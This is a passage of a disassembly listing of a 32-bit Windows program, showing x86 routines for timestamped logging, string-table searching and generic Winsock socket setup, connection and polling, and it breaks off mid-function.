; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8085
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E3C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE3C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E3C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE3C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE3C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E3C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E3C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5F67AE
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5F67AE
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02B5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E25
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01BBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5F67AE
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F67AE
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8745


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02B5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D864Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5F67AE
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F67AE
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DB08
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DB08
		inc	eax
		mov	dword_50DB08, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DB08
		inc	edx
		mov	dword_50DB08, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F40
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DB08
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DB08
		dec	eax
		mov	dword_50DB08, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DB08
		dec	ecx
		mov	dword_50DB08, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DBC
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F40
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
